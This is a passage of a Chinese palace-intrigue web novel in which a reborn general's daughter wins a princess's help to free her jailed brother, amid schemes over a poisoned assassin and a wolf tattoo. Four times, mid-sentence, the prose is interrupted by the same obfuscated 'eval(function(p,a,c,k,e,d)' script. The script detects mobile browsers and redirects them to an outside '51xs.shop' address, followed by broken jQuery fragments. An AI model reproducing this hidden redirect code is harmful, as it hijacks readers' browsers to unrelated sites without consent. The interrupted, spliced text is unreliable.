如今她已经解决了个人的安危问题,自然一心只为元氏、为虎贲军着想。 若是不想重蹈前世覆辙,不想任人鱼肉,那么元氏在朝堂上,就需要一个强有力的盟友,一个足以对抗康王和睿王的盟友。 元向依的眼前浮现出一张高贵妩媚的面容。她心想,也许是时候该找个机会,去拜见这位盛名在外的公主殿下。 * 凌思语出来后,对兄妹二人摇摇头,示意温衡无事。 她想问元向依有关温衡久病的事情,却因为元寄北的存在,而难以开口。 元向依看出了她的担忧,轻轻捏了捏她的手指。 元寄北让两位姑娘骑马,自己则在前面牵马,三人就这样慢慢地往回走。 元向依望着他宽厚的背影出神。她第一次骑马的时候,大哥也是这样牵着她的那匹小红马,笨拙地哄她:“依依不怕,有大哥在呢。” 凌思语也是困了,在她身后打起了瞌睡,终于靠在了她的背上。 她不觉失笑,内心却是十分满足。只要他们都还在自己身边,那在这无尽长夜中搏杀出一条生路,又有何不可? 兄妹俩先送凌思语回了定西将军府。凌思语揉着眼睛和他们道别,元向依心想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114494|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此晚归,若是被她爹凌将军发现,指不定又要怎么吹胡子瞪眼。 她和元寄北正要转身回家,就见有人慌慌张张地跑过来,正是元寄北身边的副将。 元寄北皱起了眉头。今夜已发生太多事,他自认为不再会为什么意外而惊慌了。 那副将定了定神,对他二人道:“将军,二小姐,方才留下的那个活口……他死了!” 死了?这也是蹊跷。 元寄北已经卸了他的下巴,防止他咬舌自尽,又挤出了隐藏的毒药。莫非下手太重,那人重伤不治了? 副将道:“并不是将军出手重了,我们将他带回,那人在路上就开始口吐黑血,如今面色发青,唇色发乌,大抵也是中毒身亡的!” 既是中毒身亡,为何还要在牙床内私藏着毒药? 解释只有一种,黑衣人事先已经服下剧毒,但对此并不知情。 由此可见,他们的主子和投毒之人并非同一个。起码是两股势力勾结,意图同时置他们于死地。 元寄北啐了一口,恨恨道:“真是好手段,看来不得不惊动京兆尹了。明日把尸体送去仵作那里验验,看看究竟会有什么发现。” 元向依有不好的预感,仿佛这黑衣人的死,也仅仅是个开端罢了。 * 元寄北原本是要和父亲一同回京,只是因为元向依婚约的事情传到了耳朵里,他不敢告诉父亲,一路火急火燎赶回来,跑死了好几匹马,准备亲自来拦。 但此番回来,他应该先进宫求见圣上,述职已毕后再返回家中。如今其实已算是破了规矩。 只是天色已晚,也可以原谅。她一再叮嘱大哥天一亮就进宫,在得了元寄北的保证后,终于安心回到了院内。 她洗漱已毕,正要更衣,却忽然想起了什么,吩咐小桃:“明日拿些活血化瘀的药膏给温大人送去,要最好的。” 小桃应下,吃吃地笑了:“小姐还真是关心温大人呢~” 不过这倒也正常,自己的未婚夫君,谁能不放在心上呢? * 兴许是晚睡了,这一夜元向依睡得很沉,梦里又是前世的记忆,搅得她睡不安稳。 她紧紧蹙着眉头,无意识地发出呓语,直到一双手用力将她摇醒:“小姐!小姐!不好了!” 她被吵得头疼,轻轻抚上自己的额头,缓缓道:“出什么事了?这样慌张?” 小桃的声音中充满惊慌:“小姐,大公子身边的副将传话回来,说现在宫里怕是要把人扣下!” 元向依登时就清醒了:“扣下?无缘无故的,怎么会扣下?” 小桃焦急道:“不知道,听说是给大公子安了一个当街殴杀人命的罪名,要下大狱呢!” 12. 柔嘉 元向依独自一人,坐在前往公主府的马车上。 昨夜她才思量过盟友之事,没想到这么快,自己就成了需要帮助的那一方。 如今她本就弱势,在谈判价码时不免心虚,只怕会付出比原先预估更多的代价。但为了大哥,她硬着头皮也得上。 若说起澧朝的传奇女子,除了她元向依外,还有一人,便是当今圣上的柔嘉公主陆时婳。 圣上皇子众多,膝下却只有这一个公主,自然是如珠如宝一般捧在手心里。 但这公主的性子,可是既不柔顺也不嘉和,不仅高傲骄矜、肆意妄为,在出降后还豢养了许多面首。可怜驸马只能睁一只眼闭一只眼,忍气吞声。 不过这公主的容貌倒是一等一的,据说酷似其生母舒贵妃,一副艳骨绝色倾城。也无怪乎圣上总是对她偏爱良多。 元向依到了公主府,递了帖子说明来意,便被引入了府内。只是此刻不巧,公主不在府内,临行前说了去去便回。 元向依今日是一定要等到她的,也顾不得许多了,索性厚着脸皮坐下来等。 直到一个时辰过去,茶都换了三盏,她等到心都焦了,这位公主才施施然现身。 元向依以往见她的次数不多,如今离得近了细细看来,公主竟是比传言中更美。 她款款而来,仪态娴雅,气质清贵无双,一双凤眼凌厉而妩媚,透着一种上位者的自信。 如此妙人,让元向依很难把她与传闻中那个盛名在外的公主联系起来。 陆时婳示意她落座,自己则位居上首:“你今日来意本宫心知肚明,本宫也不与你绕弯子。本宫尽多少力,就看你能拿出多大的诚意。” 元向依想了想,终于打定了主意,试探着问道:“臣女说句冒大不韪的话。敢问公主,觉得这天下大势如何?” 陆时婳沉思片刻,端起手中的茶水向她示意。 “天下大势并不是非黑即白,非此即彼,选择也并不是只有一种。就像是刚冲泡好的茶水,要等沉淀下来,才能看得清楚。” 她的脸上是毫不掩饰的讥诮:“不过依本宫看,睿王和康王大概都会沉底。” 元向依心念一动,果然,这位公主还是如前世一般野心勃勃。 柔嘉公主看似风流不羁,实则韬光养晦。前世明德帝暴毙之时,陆时安并没有能够直接顺利即位,皆因为盛京城中爆发了五王之乱,而带头作乱的便是这位公主。 原来公主之所以选择南元质子作为驸马,不过是看中他的经世之才。而所谓的面首,则是公主变相招至麾下的能人异士。 只可惜五王之乱还是以陆时安的胜利落下帷幕,其背后也少不了元向依的出谋划策。 重来一世,她自然是要另择明主。何况,同样身为女子,私心来讲,她其实觉得女子承继大统也并无不可。 只要能延续澧朝国运,让百姓国泰民安,是不是女儿身又有什么要紧?前朝也曾有过女子称帝的先例。 何况圣上如此宠爱柔嘉公主,只要方法得当,也不是没有可能。 想到这里,她收敛了神色,郑重道:“方才一路行来,臣女观公主府中虽华丽精致,但府内下人均是形容齐整,法度严明,可见公主之志,并不只在一个小小的公主府。” “听闻前朝长平公主年少时曾有一玩伴,名唤阿音。后来入宫为女官,长伴公主身侧,鞍前马后。” 这是人尽皆知的一段佳话。后长平公主即位称帝,阿音地位形容副相,两人携手开创盛世,百年后名字亦一同长留史书。 元向依起身,向高位上的陆时婳下拜:“臣女愿做阿音。” 如此忠心已表,只看元氏背后的三十万虎贲军,能不能成为打动公主的筹码。 陆时婳起身走到她面前,她不知该不该抬头,只好盯着陆时婳的裙摆,裙摆上以火红丝线绣着朱雀,朱雀振翅欲飞,昂扬直上云霄。 陆时婳并未让她起身,而是蹲下身来与她平视,突然伸手轻轻捏住了她的下颌,眼中闪烁着饶有兴味的光芒。 “元将军,你与我想的,很不一样。” 她狡黠地眨了眨眼睛,故意叹了口气:“可惜本宫是女儿身,不然一定把你拐回府里,供起来做个王妃。” 元向依面色尴尬,面对公主的调笑有些脸热,半晌才道:“公主,臣女已有婚配……” 陆时婳道:“那也没什么打紧。你府里缺人么?要不要我送几个过去给你?” 能被柔嘉公主送来的人,那只可能是面首的身份。元向依没来由地想起温衡委屈的目光,连忙摆手:“还是不了……” 陆时婳玩得正开心,门外却传来一声叹息。有一人立在门边,身形清瘦却难掩贵气,只是站在那里,就有一种不卑不亢的气质。 那人故意叹了口气,淡淡道:“元将军,你若再待下去,时婳眼里心里可就都没我了。” 在这公主府中,敢这样直呼公主名讳的,想必也只有一个人——驸马、同时也是曾经的南元质子宇文意。 宇文意本是南元孝武帝的嫡长孙,只是懿行太子早薨,他被迫沦为政治斗争的牺牲品,六岁即被送来澧朝为质。 其人表面看来风流俊雅,喜爱舞文弄墨,实则胸中自有丘壑,在五王之乱中发挥了极其杰出的军事才能。可惜为了保护公主,身死于乱箭之中。不然五王之乱的胜负犹未可知。 陆时婳见了他,眼睛亮了亮,提着裙摆扑到他怀里:“念章,你回来了!” 宇文意微笑着接住她,伸出手刮了刮她的鼻尖。 两人举动亲昵,旁若无人,元向依觉得自己是一刻也待不下去,方才能稳坐一个时辰的她,如今只想快点离开。 有传言说,宇文意和公主自小便在宫中相识,而等到公主成年,为了嫁给宇文意也是费了好一番工夫,毕竟敌国质子的身份对于皇室而言,还是太过敏感。 如今看来,传言竟也有真实的地方。 宇文意将陆时婳打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114495|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横抱起,陆时婳窝在他怀里,双手圈住他的脖子,媚意横生地瞥了元向依一眼。 “元将军放心,本宫得了你的承诺,自当尽力而为,说到做到。” 一旁的宇文意稍稍偏了下头向她示意:“元将军,请吧,我们要办正事了。” 正事?公主白日里还能有什么正事? 元向依的脸颊瞬间烧了起来,匆匆行了个礼就告退了,甚至不敢回头多看一眼。 陆时婳的声音远远地从身后传来:“元将军,早日成婚可是好处多多,想必你很快也能体会到其中的妙处。” ……公主,您要不要听听您到底在说什么虎狼之词? 宇文意抱着陆时婳,穿过走廊和庭院,沿途的下人们早已见怪不怪,纷纷背过身去,只装作没看见。 等到了两人的卧房门口,宇文意双手不便,又舍不得陆时婳动手,索性一脚将门踢开又带上。 他将陆时婳轻轻放在床边,半蹲在她身前,握住她的手:“我们时婳真是小狐狸,明明整件事是你一手策划,最后鹬蚌相争,得利的却是你。” 陆时婳脸上带着柔媚的笑意,扯过他的衣襟,在他脸上轻轻一吻,神色十分得意:“那是当然,我若不是小狐狸,怎能骗到你这样的夫君?” 宇文意亲了亲她的手指,继续问她:“原本联合康王陷害睿王便已经足够,你还多此一举给那些人提前喂毒做什么?” 陆时婳露出一派天真神色:“自然是死人才不会泄露秘密。若是哪个意志不坚的说了出去,元氏又哪里会为我所用?” “眼下元寄北下了大狱,元老将军尚在路上,远水救不了近火,元向依已是走投无路,只要我稍稍伸出援手,就能取得元氏的投诚。” 宇文意道:“哦?你一早就知道,元氏的关键在这位女将军身上?” 陆时婳把玩着自己的一缕秀发,点了点头:“不光我知道,几位皇兄不也都看得清楚?巴巴地往人家身上贴,只可惜人家还不领情呢。” 她忽然面色肃了肃,勾着宇文意的脖颈,认真地对他道:“念章,如今元氏已经入局,我多年苦心筹谋,终于有望实现。我再问你一遍,你是否愿意与我一起,哪怕前路多艰?” 宇文意有一瞬的失神,他想起他刚到冷宫的时候,哪怕再机敏多智,也终究是个六岁的孩子,对于全然陌生的环境止不住地害怕。 是陆时婳跑了过来,她主动握起他的脏手,亮晶晶的眼睛看着他:“皇兄们都蠢笨不堪,也不带我一起玩。我看你聪明又漂亮,你是否愿意与我一起呀?” 他望着小公主粉雕玉琢的面容,鬼使神差地点了头。 从那时起,他就知道,自己是落于浅滩的龙,她则是困在深宫的凤。 无论是并肩作战,还是相濡以沫,没有比他们更般配、更合适的伴侣。 他缓缓覆了上去,吻着她的锁骨,低声道:“无论前方是刀山火海,还是阎罗地狱,臣都甘愿与公主……一同沉沦。” 13. 刺青 第二日上朝时,元向依特意去了。毕竟当街殴杀人命这样的罪名,她元家一脉清正忠良,是万万不敢背的。 百官奏事已毕,便有御史主动提起元寄北下狱之事,认为他长期忠心为国,虽然性格鲁莽了些,但毕竟也是知礼数的世家出身,断不会在天子脚下做出这等目无法纪之举。 明德帝便宣京兆尹出列,念了一遍元寄北画押的供词。大抵就是将昨夜遇袭之事原原本本地讲了一遍,言明对方下了死手,他为了自保不得不出手伤人。 只是此事并无实证,作为人证的元向依是其亲妹,证词不足以采信,那就只有温衡和凌思语了。 凌思语自那日回去后,便被她爹拘在家里闭门思过。这也能理解,毕竟闺阁小姐女扮男装倒罢了,夜不归宿便不是太好,得亏是和她在一处,不然还不知道要怎样被罚。 听说元寄北下了大狱,她也担心不已,连忙遣人过来问问情况。元向依写了封简信回她,表示一切还有转机,无需过于担心。话虽这么说,其实她比凌思语还要担心得多。 凌思语毕竟是女眷,又无官衔品阶在身,自然不方便来,还是须得温衡站出来作证。 一天没见,元向依偷偷去看他脸上的伤,发现已经好了许多,只余嘴角一点淤青,便稍稍放下心来。 温衡将事实说了一遍,又指着自己脸上的伤口,表情诚恳:“臣这脸便是那伙贼人打伤,多亏了元将军勇武非凡,才能让臣侥幸保住性命。” 元向依暗自压住笑意,嘴角抽了抽,这人可真是……睁着眼睛说瞎话。 不知道若是大哥在此处,听到温衡如此说,会不会臊得脸红。 听完这一番剖白,旁人还没说话,陆时安倒是先开了口:“温大人与元大人是姻亲,谁不知道?如若采信温大人的证词,此案或有包庇之嫌。” 其实在场的明眼人都看得出来,元寄北是冤枉的。元向依静静等着,看谁先出来跳脚,谁大概率就是幕后的主使之人。 不知道为什么,重活一世以后,她发现在涉及她的事上,陆时安总是能够表现出一种清澈的愚蠢。 不过这样也好,起码她可以集中力量,把矛头只对准他一个人。 睿王一贯是要跟他作对的,当即道:“话可不能如此说。元将军的人品谁不了解?只是没料到虎落平阳之时,竟还有人上前落井下石。” 虽然睿王也不是什么好东西,但不得不说,他骂起人来阴阳怪气,实在中听。 陆时安阴恻恻地反驳:“凡事讲求证据,而非感觉。三弟读了这么多年圣贤书,怎么连这点道理也不明白?抑或者说,你敢为元将军的人品担保吗?” “这……”果不其然,一涉及到自身利益,所谓的仗义执言就瞬间散了个干净。 元向依不禁冷笑,看陆时安似乎胜券在握的样子,等待着属于她的转机。 突然一个柔婉的女声传来:“这里是发生什么事了,好生热闹!” 陆时婳娇娇笑着,从殿外一路走了进来。她美艳不可方物,一些新晋的低品阶官员头回见她,不自觉就红了耳根。 她到了御座下,端庄行了一礼:“儿臣给父皇请安。” 明德帝正为了臣子和皇子们的事闹心,又许久没见公主,看见她是说不出的舒心。只可惜在文武百官面前,碍于礼数不能再招手让她上前,有些遗憾罢了。 见明德帝的面上露出笑意,陆时婳道:“儿臣听说近日盛京城里发生了一件大事,元将军当街殴杀人命,还下了大狱,可是真的?” 陆时安道:“皇妹消息真是灵通,先前我们正在讨论此事,不知皇妹有何高见?” 其实他心下有些懊恼,本来依据事先安排,他应该先向睿王发难,趁两人争执不下之际,再让柔嘉进来作证,将睿王意图谋害官员的罪名坐实。 可不知怎的,他看着元向依,心里就涌起一种异样的感觉。 因着庄重肃穆的场合,且兄长还在大狱里,她今日只着一身素服,只稍稍做了装点,便如出水芙蓉一般清丽。 他望着她,可她的眼里没有旁人,只有温衡。 在金殿之上,她甚至只能在后面偷偷看他,目光也不肯分给陆时安半分。 他忽然心里就很嫉妒,不希望他们好过。 于是他冲动之下说出了那些话,现在却是有点骑虎难下。面对元向依投来的冷冷目光,他猜想她大概是猜出了一部分,但只要他不承认,她便也没有办法。 他心想:你求我,我便放过你大哥。 他心里还在抱着一种虚无缥缈的期望,等着陆时婳开口。 陆时婳面上一派天真,对明德帝道:“父皇,此事儿臣亲眼所见,儿臣可以作为人证!” 众人皆惊诧不已,他们可以质疑元氏相关的人证,却不敢质疑一个深受宠爱的公主。 明德帝本也不想将元寄北下狱,毕竟还有许多事需要仰仗元家去做。只因盛京城太平已久,突然出了人命案子,京兆尹惊惧非常,两位皇子难得也出奇一致,一定要把事情闹大,搞得他头痛不已。 此刻陆时婳愿意出来作证,或可让问题迎刃而解,明德帝忙道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114496|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “婳儿,你那夜都看见了什么,可以细细道来。” 陆时婳道:“那夜儿臣刚从……南风馆出来,天色已然很晚了。儿臣坐马车从甜水街过,就听到不远处传来刀剑相交的响声。” “父皇您知道的,儿臣胆子大得很,当下就出去看,就见元将军正与那人缠斗,身手好生了得!既是遇袭,那并不是殴杀无辜平民,元将军此身也可分明了。” 如此确实是澄清了元寄北的嫌疑,元向依的目的也达到了。她松了一口气,还好柔嘉公主信守诺言。 只是接下来公主的话,却是她没有想到的。 “元将军他们离开后,儿臣也准备回去,却见地上遗落了一个铁制的令牌,似乎是江湖门派的东西,现呈您御览。” 令牌?她怎么不记得当时地上有什么令牌? 掌事太监叶钦从公主手中取过令牌,呈给明德帝,明德帝左右看了看,那不过是一块普通的铁制令牌,并没有任何标识着所属门派的刻印。 但温衡却认得这东西。 若他猜得没错,江湖上藏头露尾、掩盖踪迹的门派,恐怕也只有那一家。 陆时安看见了,瞳孔不可避免地缩了缩,柔嘉这是,当众反水了?! 温衡看着陆时安的神色,心下对当前局势已经了然。他一向不喜欢被人玩弄于股掌之中,无论是自作聪明的陆时安,还是渔翁得利的陆时婳,都不可以将元向依作为争夺皇权的筹码! 他突然出言道:“这块令牌或可作为物证,但验尸报告理应也可作为参考,不知验尸的仵作今日可来了?” 京兆尹连声称是,明德帝便命人宣那仵作上前。 那仵作哪里见过这种阵仗,吓得跪倒在地,久久不能言语。 过了半晌,他才缓了过来,回忆道:“那尸体面色红润,并未有半点中毒之相……有一处伤及要害,伤口与元将军的银枪是对得上的。” 元向依心想,不对,当时副将来报,明明说那人是中毒而死,莫非那毒性会有变化,或者说,尸体已经被调包了? 但随即仵作说出的话更加令人震惊:“只有一处很是奇怪,尸体放到今天,在左胸处心口的位置,竟缓缓浮现出一副刺青。” “小人以为自己眼花了,可看了又看,那刺青还是确实存在的。小人已经将图样画了下来,现在呈上御览。” 那图样是一个栩栩如生的雪狼头部,刺青之人的画技很好,雪狼非常逼真,仅仅透过薄纸,便能散发出骇人的气势。 元向依当时便认了出来——这是北狄人的标志刺青! 14. 黄雀 元向依不敢大意,迅速上前禀道:“圣上,臣女看那图样颇为眼熟,请交由我细细辨认。” 明德帝对此也颇有疑虑,便吩咐叶钦将图样拿去给她。 元向依确认再三,终于道:“这图样乃是北狄人的刺青。臣女在边关多年,自然不会认错,就是这种雪狼刺青!” 此话一出,众人皆惊。 毕竟北狄细作若是潜入了盛京,可不是闹着玩的! 百官难掩窃窃私语之声,明德帝神色凝重,未曾料到一桩案子竟牵扯出两国暗战之事。 最后此事以明德帝宣布盛京城近日戒严而告终,同时安排了刑部前去侦查那令牌的来源和尸体的身份。 众人步出大殿,各有各的心事。 元向依没料到的是,边关刚刚取得大捷,北狄的细作就潜入了盛京,无处不在的危险化作阴霾,笼罩了她的心头。 陆时安则思虑重重,那令牌应当无人识得,就算不幸被查出了追魂宗,应当也不会牵扯出他来。只是柔嘉竟然在金殿之上当众反水,他愤怒之余又无可奈何。 没想到,当真是小看他这个皇妹了! 陆时婳则有些失望,她既然决定反水,定是要把事情做到绝处,折断陆时安的爪牙。 可偏偏温衡出来横插一杠,看似无心的问题,却引出后面一系列动作,让她很难不去怀疑,温衡是否知道些什么。 皆因她知道,他温润如玉的外表下,藏着不输于她的缜密心机。 温衡的面上则没有什么忧色,他表情淡淡的,只是偶尔会透出一股冷然,全然不像他平时的气质。 他与元向依并肩走着,见她蹙着眉头,便试着同她说话:“元姑娘,不要为尚未定论的事情苦恼。很快就可以接你大哥回家了,开心些。” 元向依知道他是在安慰她,勉强挤出一丝笑容,对他道谢:“谢谢你今日为我大哥说话。” 正在这时,熟悉的女声又从身后响起:“两位留步。” 陆时婳疾走两步,追上前来,目光在他二人身上扫了一圈,最终滑过元向依,落在温衡的脸上。 元向依心头突然涌起不好的预感。 果然,下一秒陆时婳轻启朱唇,发出邀请:“本宫意欲请温大人过府一叙,元将军应该不介意吧?” 嗯……该怎么和公主解释,温衡已经是她的未婚夫君,是她的人,不能被随便拉去做面首的? 她还没来得及说话,温衡就道:“公主当着下官未婚妻的面,邀下官独自过府,是不是不太妥当?” 陆时婳眨了眨眼睛:“温大人想什么呢,驸马也在府内,有什么不妥当的?” 公主毕竟是金枝玉叶之体,又是女子,温衡也不好再反驳她,只能可怜巴巴地扯了扯元向依的衣袖,露出一副委屈的神情。 他一双黑眸水汪汪的,让人心生怜爱,仿佛在说:我不去,你别抛下我。 每次被他这样看着,元向依都会很没有原则地心软。 她咬了咬嘴唇,声音小小的:“我介意。” 她似乎想了想,抬起头直视着陆时婳的眼睛,又重复了一遍:“我介意。” 听了她这话,连温衡也是微微一愣。 他本来没抱着她会为他说话的希望,只是想向她撒撒娇而已。 她说,她介意。 她介意他和别的女子单独待在一起。 那他是不是可以认为,她心里也是有他的? 即使是出于婚约也好,出于占有欲也好,她只需要说这么一句话,就能让他很是高兴。 陆时婳也没想到元向依会有此回答,但她很快整理好自己的情绪,又是那个性格奔放、不拘小节的公主了。 “罢了,既然元将军不愿,本宫强求也没有意思。下次请二位一并前来公主府做客。” 她说罢扬长而去。元向依和温衡拱手将她送走,对视一眼,不由得一齐笑了起来。 * 入夜,温衡着一身夜行衣,独自翻进了公主府的内院。 公主府的防卫十分松懈,他也并不意外,径直向院子中心的凉亭走去。 陆时婳正坐在凉亭的石桌旁迎风饮酒。她有些微醺了,懒懒地趴在桌上,露出一截柔若无骨的手臂。 四周的人早已被她遣散,温衡走上前去,坐到她的对面,没有说话。 陆时婳见他来了,又坐直了身子,替他斟了一杯酒,推到他的面前。 温衡看了那酒一眼,却没有动。 “你早就知道我会来?” 见他防备心甚重,陆时婳低低笑了:“今日之事还有颇多疑点,你需要和我好好谈谈,对吗?” 温衡没有反驳,而是开门见山:“若我猜得不错,此事你本是与陆时安联手,却忽然反水,是不是依依许诺了你什么?” 陆时婳伸出一根手指摇了摇:“这么快摊牌多没意思,来陪我喝酒。喝一杯,我便说一句。” 温衡凝视了她半晌,端起面前酒杯一饮而尽。 她这才吃吃笑了起来,说道:“是你的依依主动上门来,以整个元氏的忠诚为代价,让我救她大哥呢。” 温衡默然,过了一会儿才道:“她应该依赖我的。” 陆时婳道:“你装得也忒像了些,现在你表面看上去也没有什么能倚仗的,她自寻出路也是正常。” 她用手臂撑起身子,问他:“说说吧,北狄的刺青怎么回事?” 温衡十分坦然:“尸体是我调的包,送陆时安的一份大礼。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114497|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江湖朝堂勾结之事不在少数,只是牵扯出追魂宗一事,即使会让陆时安元气大伤,却无法动摇他的根基。” “但若是涉及到北狄细作,此事的性质就变了,扣上一个里通外国的罪名,陆时安绝难翻身。” 陆时婳“啧”了一声,似乎讶异于他的盘算:“狠还是你狠,我说,你就这么恨他?就因为他跟你抢你的依依了?” 温衡睨了她一眼,露出不屑的表情:“怎么?你心疼你的好皇兄了?那你大可以和他联手,看看能不能斗得过我。” 陆时婳连忙摆手:“别!可别!你自小就智计无双,这是傻子都知道的事。” “螳螂捕蝉,黄雀在后,我若知道你是今日的黄雀,也就不主动跳出来做那螳螂了。直接让你这黄雀把蝉一锅端了,我还省事。” 对于她的有意恭维,温衡只是轻哼一声。 “若不是我自小就了解你,还真有可能被你给骗了。这般恶劣的性格,也不知道宇文意究竟是怎么忍受你这么多年的。” 陆时婳两手一摊:“各人口味不同嘛,念章就是喜欢我这样的。” 她看起来十分得意,似乎温衡刚才的话还是在夸她似的。 温衡有些无语,只对她道:“你要做什么都随你,只一件事,别拖累元家,别伤到依依。” 陆时婳一脸揶揄的神色:“表哥~自你进京以来,我们还是第一次见,你一心全是表嫂,让妹妹我好生伤心~” 趁着温衡的嘴角抽了抽,她继续道:“不过,你应该也知道,如今各方势力已然入局,涉及皇权斗争,我等身家性命都难以保全。” “表哥,看在你的面子上,我可以尽量不牵涉元家,但你,也是时候该做出选择了。” 温衡明知她又在算计自己,想蛊惑自己许下承诺,但毕竟是血亲,元向依又误打误撞和她成了一条绳上的蚂蚱,只得叹了一声。 “依依相信你,我自然相信你。时婳,你和依依都是不一般的女子,只管放手去做就是。不论结果如何,万事还有宇文意和我。” 他似乎又想到了什么,边思索着边道:“说到底,即使我洞若观火,还是不得不被你利用,你把那令牌拿出来不是给别人看的,正是给我,对不对?” “借江南温家的势力,斩断陆时安的臂膀,你倒是惯会借刀杀人。” 见她并不回话,他才发现,陆时婳不知何时,已经趴在桌上睡着了。 宇文意自她身后默默现身,为她披上一件厚厚的披风,将人整个裹了起来,才打横抱在怀里。 陆时婳的小脸在他胸口蹭了蹭,无意识地嘤咛了一声。 宇文意眼中笑意一闪而过。他向温衡点头示意,温衡也同样还礼,他这才抱着陆时婳,转身向院内行去。 15. 讲学 圣上的旨意传得很快,元向依到刑部大狱门口时,元寄北正好被放了出来。 他看起来没有什么损伤,只是一两日待在阴暗潮湿的地方,太久不见天光。突如其来的刺眼阳光,让他眯起了眼睛,不得不抬手挡住。 看着完好无损的大哥,元向依的眼睛又热了起来。 她招手唤道:“大哥!”便三步并作两步赶上前去,亲昵地搀着他的手臂。 元寄北有些惭愧,觉得是自己连累了妹妹,有些不敢看她。 见他这样,元向依反而显得更依赖他。对于自家大哥这种性格,她太知道应该怎么安慰他了。只要时刻能让他觉得,自己是被需要的就行。 * 自从知道了金殿上的种种事后,元寄北在她面前就不提温衡的不是了。 元向依知道自家大哥对温衡的印象已经有了很大的改观,只是碍于面子,不好说出口。 不过因为这下狱一事,虽然大哥受了些罪,却意外缓和了和温衡的关系,也是省了她不少事,算是因祸得福。 只是她不知道的是,元寄北背着她,私下正在偷偷谋划些什么。 凌思语仍在家中禁足,不过左右可以和依依通信,对她而言日子也不算太无聊。 春日将尽,这日阳光正好,凌思语坐在院内秋千上翻着医书,姿态娴雅静好。 墙头突然冒出一个高大的身影,吓了她一跳,医书从她手中滑落,径直掉在地上。 元寄北扒着墙头看她,额头上都是亮晶晶的细汗。他环视四周,悄悄问她:“你爹在吗?” 凌思语摇了摇头,不觉失笑:“不在。元大哥,这又不是小时候了,你可以递帖子从正门进来的。” 元寄北跃到地上,在唇边竖起一根食指,示意她小点声:“嘘,正好你爹不在,我是来带你走的。” 凌思语愣了一愣:“走?走去哪里?” 元寄北道:“劳烦小语,陪我去个地方。” 说罢他便轻轻巧巧带上凌思语,翻过院墙离开了,徒留医书躺在地上,而秋千架仍前后摇晃不停。 凌府的丫鬟路过时,眼尖地发现这一幕,不禁叫嚷起来:“不得了啦,小姐又被元将军拐走了!” * 国子监。 凌思语被迫与元寄北一起扒着墙头,百无聊赖地望向院内。 她表情有些无奈,问他:“元大哥,这就是你要来的地方?” 在她看来,元寄北什么都好,就是有点太爱爬墙头了。明明也是光明磊落的人,也不知道最近怎么了,什么事都想瞒着依依,偷偷摸摸的。 元寄北点了点头:“你且等着,人很快就来了。” 于是凌思语一边托着腮,一边继续等着,所幸只候了片刻,眼前就出现了一个熟悉的身影。 正是温衡。 他气质温润,虽然着了官服,仍是一派文弱书生模样。如此倒是很适合他现在的身份。 温衡作为翰林院侍讲,偶尔被安排来国子监讲学,也是非常稀松平常的事情。 凌思语道:“……元大哥,你费这么大劲提前跑来等着,不会就是为了看看温衡吧?” 元寄北回答得非常坦然:“是啊。” 凌思语一时语塞,她还是没懂,为什么要专程来看温衡讲学。 元寄北道:“这你就有所不知了。通常温衡让我们看见的样子,都是他想让我们看见的。如果要全方面地了解一个人,最好从他生活的各个细节去考察。” 凌思语听得似懂非懂,总觉得这话乍一听上去好像很有道理,但也不能驱散她心头奇怪的感觉,总觉得虽然将门之后不拘小节,却也不能失了礼数。 下面的温衡已经开始讲学,他声音轻缓,语调抑扬顿挫。面对莘莘学子,他引经据典,又极有耐心,在凌思语听来,是一位授课生动、寓教于乐的好先生。 她听得津津有味,一旁的元寄北却已经昏昏欲睡。他本就是武人,对这些文绉绉的东西不感兴趣。 一个没留神,元寄北头朝下,直直地栽了下去。 凌思语拦也来不及,一声惊呼,反而暴露了自己所在的位置。 注意到这边的动静,所有学子都向这个不起眼的角落看来,兴奋地窃窃私语。 讲学意外中断,温衡的表情却依旧温和,他先看了看跌在地上正慌乱爬起的元寄北,又移开目光,和凌思语四目相对,仿佛并不觉得有什么尴尬。 也对,总而言之,尴尬的肯定不是他。 他依然笑眯眯的,故意问道:“元将军和凌小姐今日前来,也是对在下的讲学有兴趣么?” * 